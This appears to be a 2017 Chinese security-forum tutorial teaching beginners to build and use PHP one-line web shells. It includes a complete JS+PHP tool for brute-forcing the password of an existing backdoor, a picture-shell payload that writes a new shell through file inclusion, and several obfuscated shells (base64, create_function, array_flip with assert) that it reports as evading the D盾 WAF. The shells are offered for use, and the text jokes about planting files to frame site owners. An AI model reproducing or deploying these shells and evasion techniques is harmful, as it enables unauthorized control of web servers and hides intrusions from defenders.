本帖最后由 sucppVK 于 2017-1-9 14:39 编辑
一、
前言
本文原创作者:XXX,本文属i春秋原创奖励计划,未经许可禁止转载!
各个论坛出了不少过waf的一句话 可笔者见还是有不少小白没有理解一句话(只知道是拿来链接菜刀) 今天打算做一篇面向初学者的教程,总结知识点,抛砖引玉。 让小白从彻底理解马的含义,到打造属于自己过waf的马。————–目录——————————————————————
php一句话含义
用js+php打造高效率一句话爆破脚本(知识扩充:CORS与AJAX)
简单介绍一句话上传攻防
一句话过waf思路
———————————————————————————————-
二、 正文 ———–0x01. php一句话含义————————————————— 一句话木马: 一句话木马 短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。 先来瞅瞅最原始的一句话是啥样子:
[PHP]
纯文本查看
复制代码
1
<?php @
eval
(
$_POST
[
'pw'
]); ?>
看到只能赞叹前辈的智慧,我们这一代始终是站在巨人的肩膀上。 而小白看到这个会想到什么呢? 哦,密码是pw
这句话什么意思呢? php的代码要写在<?php ?>里面,服务器才能认出来这是php代码,然后才去解析。 @符号的意思是不报错。 例如: 如果没有@,如下图,就会报错
为什么呢? 因为一个变量没有定义,就被拿去使用了, 服务器就善意的提醒:Notice,你的xxx变量没有定义。 这不就暴露了密码吗? 所以加上@为什么pw是密码呢?
那就要来理解这句话的意思了 php里面几个超全局变量 $_GET、$_POST就是其中之一 $_POST[‘a’]; 意思就是a这个变量,用post的方法接收。 (传输数据的两种方法,get、post,post是在消息体存放数据,get是在消息头的url路径里存放数据(例如xxx.php?a=2))eval() 把字符串作为PHP代码执行 例如:eval(“echo ‘a'”);其实就等于直接 echo ‘a’; 再来看看<?php eval($_POST[‘pw’]); ?> 首先,用post方式接收变量pw,比如接收到了:pw=echo ‘a’; 这时代码就变成<?php eval(“echo ‘a’;”); ?> 结果:
连起来意思就是: 用post方法接收变量pw,把变量pw里面的字符串当做php代码来执行 所以也就能这么玩: 也就是说,你想执行什么代码,就把什么代码放进变量pw里,用post传输给一句话木马 你想查看目标硬盘里有没有小黄片,可以用php函数:opendir()和readdir()等等 想上传点小黄片,诬陷站主,就用php函数:move_uploaded_file,当然相应的html要写好 你想执行cmd命令,则用exec() 当然前提是: php配置文件php.ini里,关掉安全模式safe_mode = off, 然后在看看 禁用函数列表 disable_functions = proc_open, popen, exec, system, shell_exec ,把exec去掉,确保没有exec。 (有些cms为了方便处理某些功能,会去掉的) 看看效果: 现在应该理解,为什么说一句话短小精悍了吧!
——————————————————————————–
———–0x02. 用js+php打造高效率爆破一句话脚本—————- 用来接收的变量可以随便写, 例如<?php @eval($_POST[‘aadhqdssjdodjsijsdmzodjihdaisjd’]); ?> 那么变量就是aadhqdssjdodjsijsdmzodjihdaisjd,也就是所谓的密码
那如果,在扫描目录的时候,发现某个可疑目录, 例如:www.dedecms.com/include/taglib/yijuhua.php 扫到了的返回信息是200 ok 但是打开却是空的,我们就有理由相信:这很可能是别人留下的后门(一句话木马) 这时候,咱们就可以尝试爆破这个密码 a=echo ‘okok’; 没有回显,不对 b=echo ‘okok’; 没有回显,不对 . . . 这样可以吗,可以,但太慢了。 吐司论坛上,接地气表哥就已经给出过思路,用&连接多个变量参数,一次测试多个参数这样可以让你的爆破效率提高千倍 比如
一次放几百个参数,只要里面恰好有那个密码,就会有回显! tip:阿帕奇最多接收1000参数
咱们i春秋论坛已经有人给出py脚本,这里给出js+php的,大家完善+修改后,就可以放到自己的网站上,丰富网站功能 奸笑一下,为什么说是完善+修改呢?一会再说
[PHP]
纯文本查看
复制代码
001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
050
051
052
053
054
055
056
057
058
059
060
061
062
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
<head>
<meta http-equiv=
"Content-Type"
content=
"text/html;charset=UTF-8"
>
<title>一句话爆破</title>
</head>
<body>
<div id=
"div"
style=
"margin:0 auto; width:500px;"
>
<form action=
""
method=
"post"
>
目标网址:
<input type=
"text"
id=
"decurl"
name=
"decurl"
style=
"width:400px"
value=
"<?php echo @$_POST['decurl'] ?>"
/><br>
<textarea name=
"dic"
id=
"dic"
cols=
"30"
rows=
"10"
style=
"resize:none; width:490px; height:290px;"
></textarea>
<input type=
"button"
name=
""
id=
""
value=
"开始爆破"
onclick= go(); />
<input type=
"text"
name=
"dicfile"
id=
"dicfile"
value="<?php
if
(@
$_POST
[
'dicfile'
])
echo
$_POST
[
'dicfile'
];
else
echo
"爆破字典"
;
?>"/>
<input type=
"submit"
name=
""
id=
""
value=
"导入字典"
onclick=dr(); />
</form>
<?php
//接收字典,放进textarea里面。
if
(@
$dicfile
=
$_POST
[
'dicfile'
]){
$str
=
file_get_contents
(
$dicfile
);
$dicarr
= split(
"\r\n"
,
$str
);
$dic
=
""
;
echo
"<pre>"
;
print_r(
$dicarr
);
echo
"</pre>"
;
for
(
$i
=0;
$i
<
count
(
$dicarr
);
$i
++){
$dicarr
[
$i
] = preg_replace(
'/\;/'
,
''
,
$dicarr
[
$i
]);
//去掉影响要素
$dic
.=
'&'
.
$dicarr
[
$i
].
'=echo "okok";'
;
}
$dic
=
addslashes
(
$dic
);
echo
"
<script>
var
str = document.getElementById(
'dic'
);
dic.innerHTML =
'{$dic}'
;
</script>";
}
?>
</div>
<script>
//创建xmlhttp对象函数
function
getxmlhttp(){
if
(window.XMLHttpRequest){
var
xmlhttp =
new
XMLHttpRequest();
}
else
{
var
xmlhttp =
new
ActiveXobject(
"microsoft.HMLHttp"
);
}
return
xmlhttp;
}
//爆破函数主体
function
go(){
var
dic =
"<?php echo $dic; ?>"
;
//获取字典
var
decurl = document.getElementById(
"decurl"
);
//获取目标url
var
xmlhttp = getxmlhttp();
//判断字典是否超过1000条
var
dicarr = [];
var
steparr = [];
dicarr = dic.split(
";"
);
//把字典分开,变成数组
step = Math.
floor
((dicarr.length - 1)/900);
//step储存需要分几步爆破
for
(i=0;i<=step;i++){
for
(j=(i*900);j<(i*900+900);j++){
if
(dicarr[j] == undefined)
break
;
steparr[i] += dicarr[j] +
";"
;
}
}
//return false;
//开始爆破
for
(i=0;i<=step;i++){
xmlhttp.open(
"POST"
,decurl.value,false);
xmlhttp.setRequestHeader(
"Content-type"
,
"application/x-www-form-urlencoded"
);
xmlhttp.send(steparr[i]);
var
result = xmlhttp.responseText;
if
(result ==
"okok"
) {
select(steparr[i],decurl.value);
return
ture;
}
}
alert(/no/);
}
//缩小密码所在范围
function
select(str,decurl){
var
xmlhttp = getxmlhttp();
var
strarr = str.split(
";"
);
if
(strarr.length <= 4){
getpw(strarr,decurl);
return
ture;
}
mid = Math.
floor
(strarr.length/2);
var
str1 =
""
;
var
str2 =
""
;
for
(i=0;i<mid;i++)
str1 += strarr[i] +
";"
;
xmlhttp.open(
"POST"
,decurl,false);
xmlhttp.setRequestHeader(
"Content-type"
,
"application/x-www-form-urlencoded"
);
xmlhttp.send(str1);
var
result = xmlhttp.responseText;
if
(result ==
"okok"
) select(str1,decurl);
else
{
for
(i=mid;i<strarr.length;i++)
str2 += strarr[i] +
";"
;
select(str2,decurl);
}
alert(str);
}
//爆破最终密码
function
getpw(strarr,decurl){
xmlhttp = getxmlhttp();
for
(i=0;i<strarr.length;i++){
strarr[i] = strarr[i] +
";"
;
xmlhttp.open(
"POST"
,decurl,false);
xmlhttp.setRequestHeader(
"Content-type"
,
"application/x-www-form-urlencoded"
);
xmlhttp.send(strarr[i]);
var
result = xmlhttp.responseText;
if
(result ==
"okok"
){
alert(
"password is:"
+strarr[i]);
return
ture;
}
}
}
</script>
</body>
</html>
这里,接收到字典以后,先除以900(照顾Apache,如果表哥们有精力,可以加上服务器识别,然后相应给参数) 除以900的意思,就是把字典分成若干份,每份900个参数 分别递交给一句话 如果没有回显,说明这部分不含正确密码(就是那个post接收的参数) 那就拉倒,下一部分继续 但是一旦出现回显:okok,(我给的)
那么就进入缩小范围的自定义js函数select() 运用二分法,分别筛选,最后找出正确密码: 代码比较简陋,8000.txt是8000个常用密码 要放在脚本相同目录下。 好了,细心的同学一定发现了,这里有一个天坑: 整个爆破主体是用js写的,准确说是js里的ajax 因此要遵循CORS(跨源资源共享) 如果不同域,且目标没有’Access-Control-Allow-Origin’的消息头 那就会被拒绝:
如果目标有消息头:’Access-Control-Allow-Origin:*’ 代表允许任意域的跨站资源共享请求
[PHP]
纯文本查看
复制代码
1
2
3
4
5
<?php
header(
"Access-Control-Allow-Origin:*"
);
@
eval
(
$_POST
[
'hello'
]);
?>
那就成功:
CORS并不难,但是很多程序员用不懂,不懂用,导致了信息泄露 感兴趣的可以看看:https://developer.mozilla.org/zh … Access_control_CORS ——————–知识拓展—————————————————————————–
ajax是指一种创建交互式网页应用的网页开发技术 通过在后台与服务器进行少量数据交换,AJAX 可以使网页实现异步更新。
这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新。 开发者的初衷就是增加用户体验,比如你添加个购物车,如果刷新一下页面,是不是会很恶心 用了ajax就能完美实现购物车功能,而不影响用户体验 那么到了黑客手里就变成杀人于无形的武器 (主要用于xss,csrf)
前提是你要先把cors搞清楚,本来cors是用来满足各个不同web程序的奇葩要求。 但是由于很多程序员搞不会,在调试脚本时,就匆匆用Access-Control-Allow-Origin:* 于是就造成信息泄露(facebook前一阵子就出了这个洞,黑客成功盗取用户聊天记录)
简单介绍下ajax, ajax的核心是XMLHttpRequest(简称xhr),但是IE7前不支持xhr对象,因此一般获取这个对象需要这样:
[JavaScript]
纯文本查看
复制代码
1
2
3
4
5
6
var
xmlhttp
if
(window.XMLHttpRequest){
xmlhttp =
new
XMLHttpRequest();
//IE7及以上浏览器,firefox,Chrome,Opera,Safari
}
else
{
xmlhttp =
new
ActiveXObject(
"Microsoft.XMLHTTP"
);
//IE7以下浏览器
}
ajax是严格遵守同源策略的,既不能从另一个域读取数据,也不能发送数据到另一个域。 然而CORS推出后,则给跨域提供了一条路,要想了解,参见上面给的链接。
取到xhr对象后,用open来发送数据。 接着上面代码 xmlhttp.open(method, url ,ture/false) xmlhttp.send(something); 如果是post,则在下面的send里面放参数 如果是get,则在url里放参数 一个不错的xss攻击框架——BeEF就是用ajax技术,每隔几秒钟发一次信息,时刻保持联系
若要学习ajax,推荐百度一下:w3c菜鸟学院
这里说明一下,为什么要用ajax做这个脚本呢
本人并不希望大家直接把代码拷回去直接用,思路已经详细给出了,用php等很多语言能完成,希望大家可以动手写一写
拓展一下ajax和cors,这将是一个影响深远的安全问题
———–0x03. 简单介绍一句话上传攻防 ————————————————— 我们要拿下一个网站的shell,一个思路就是找到上传点 把木马传过去,然后该干嘛干嘛 一般来说上传点并不尽如人意
会对上传文件作出限制,例如只能传图片 如果只是简单地本地对Mime进行验证。 那么用burpsuite拦截,修改即可
还有很多其他的方法,针对不同服务器,不同版本,应对措施不一样(00截断,畸形解析,;截断)
若是服务器对上传的文件进行验证,有什么办法呢? 防:本地js对后缀名验证 攻:上传时,后缀先改成xxx.jpg,然后抓包拦截修改后缀成php 防:用函数对图片进行校验(随机取点验证) 攻:制作图片马,综合别的漏洞来解析图片马 防:上传文件改名字,改路径,不告知路径 攻:……..
制作图片马方法不少 这里介绍一种最简单的,图片用txt打开,把一句话直接加进图片里面 然后利用本地包含漏洞: 测试了一下,只能用phpinfo(),不能用fopen写出新木马 这里也求大牛出来解决下。 —解决了———————– 刚觉得不甘心,又拿dvwa做了做实验,灵光一闪,突然想到我们直接可以写个生成新文件的代码 生成新的一句话, 我们先重新审一下思路, 上传点做了限制,必须传图片。 我们随便找一个图片,用txt打开,加入php代码:
[PHP]
纯文本查看
复制代码
1
2
3
4
5
<?php
$op
=
fopen
(
"fuck.php"
,
"a+"
);
fwrite(
$op
,
'<?php @eval($_POST["hello"]); ?>'
);
fclose(
$op
);
?>
如图: 成功上传: 上传成功+知道路径+成功解析=getshell 很可惜这里后缀名是png, Apache服务器会认为这是图片,不会把他解析成php 因此没有卵用。。不信可以访问看看: 为什么会这样呢? 因为还缺了一步:成功解析 如果这个网站还存在文件包含漏洞 那么我们可以把这个图片包含进来,包含的文件无论是什么后缀,都会被当成php解析!(注意url) 成功了 我们的代码意思是:在同目录下创建名字是fuck.php,内容为一句话木马的文件 我们尝试访问: 你get到了吗?
———–0x01. 一句话过waf思路————————————————— 很多时候,我们辛辛苦苦上传的一句话,没过多久,就发现菜刀连不上了 这时候可能是因为管理员没事干,开了类似d盾的waf,把后门扫出来了 我们来看看原生态php一句话,在d盾面前是什么样子的: 妥妥的被杀嘛。。 waf主要是对敏感单词进行分析,用正则去匹配恶意代码 那么我们一般要怎么去绕过waf的正则呢? 网上给出的思路无非是把关键字打碎,再组合。例如:
[PHP]
纯文本查看
复制代码
01
02
03
04
05
06
07
08
09
10
<?php
$pn
=
"CslRfUE9TVFsnYydd"
;
$gy
=
""
;
$lsg
=
str_replace
(
"d"
,
""
,
"dsdtdrd_drdedpldadce"
);
$bx
=
"KTs="
;
$eep
=
"slIEBldmFsK"
;
$qkj
=
$lsg
(
"y"
,
""
,
"ybyaysyey64y_ydecyodye"
);
$do
=
$lsg
(
"tz"
,
""
,
"tzcrtzetzatzttzetz_funtzctzttziotzn"
);
$lct
=
$do
(
''
,
$qkj
(
$lsg
(
"sl"
,
""
,
$eep
.
$gy
.
$pn
.
$bx
)));
$lct
();
?>
替换,编码混淆,动态创建函数,变量函数 你以为这样就逃出d盾法眼了吗? 很正常,一个新的过waf一句话传出去,很快各个waf就会制定新规则,并且把新的马列入黑名单, 一旦出现一模一样的马,就标记威胁级别5,已知后门!
我们分析一下这个过waf的思路,尝试自己改造 $lsg实质就是一个变量函数,代表的函数是str_replace(替换) $qkj也是变量函数,代表的函数是base64_decode(base64解码函数) $do同样,代表的函数是create_function(创建匿名函数) 剩下几个变量,就是加入了sl混淆的base64. 最终结果是$lct赋予函数 函数内容是:@eval($_POST[‘c’])
我们照这思路改一改:
[PHP]
纯文本查看
复制代码
1
2
3
4
5
6
7
<?php
$do
=
str_replace
(
'sl'
,
''
,
'crsleaslte_fslunslction'
);
$a1
=
"IEBldmFsKCRfU"
;
$a2
=
"E9TVFsnZmJpJ10pOw=="
;
$xx
=
$do
(
''
,
base64_decode
(
$a1
.
$a2
));
$xx
();
?>
显然密码是fbi 我看看d盾扫描结果 威胁级别3,可疑变量函数 凑合,没有直接说后门就不错了。 笔者尝试多种修改,多种混淆,始终是下不去3
最后换了个思路(来自08sec一个成员,曾发布在吐司,但有些小问题,笔者修改了一下), 用php函数array_flip,数组键值对互换,来完成免杀 看看代码:
[PHP]
纯文本查看
复制代码
1
2
3
4
5
6
7
8
<?php
$a1
=
"ass"
;
$a2
=
"ert"
;
$arr
=
array
(
$a1
.
$a2
=>
"test"
);
$arr1
=
array_flip
(
$arr
);
$arr2
=
"$arr1[test]"
;
@
$arr2
(
$_REQUEST
[
'123'
]);
?>
分析一下,$arr是数组,$arr[‘assert’]=’text’ $arr被函数处理,键值对互换后放入$arr1 $arr1[‘text’]=’assert’ $arr2=assert了 assert()函数和eval类似, 注意一下,这里,eval不是函数。所以用函数变量的方法是不行的 不信可以自己试试 因此这里笔者才用assert,有部分限制,但是菜刀链接没问题 再来看看d盾扫描结果: 免杀成功,估计不久后就要被杀了 大家且用且珍惜 其实把思路学到手,稍微改改就差不多能免杀了
三、 结束语
编程挺重要的,希望大家没事就把一些常用的脚本语言入个门吧,不写程序,起码也得看得懂代码啊,
还有就是多谷歌、多谷歌、多谷歌
看到陌生函数,陌生代码语句,谷歌,学会自学!
四、 参考资料 《Web前端 黑客技术 揭秘》、《黑客攻防技术宝典web实战篇》
程序员学习公众号: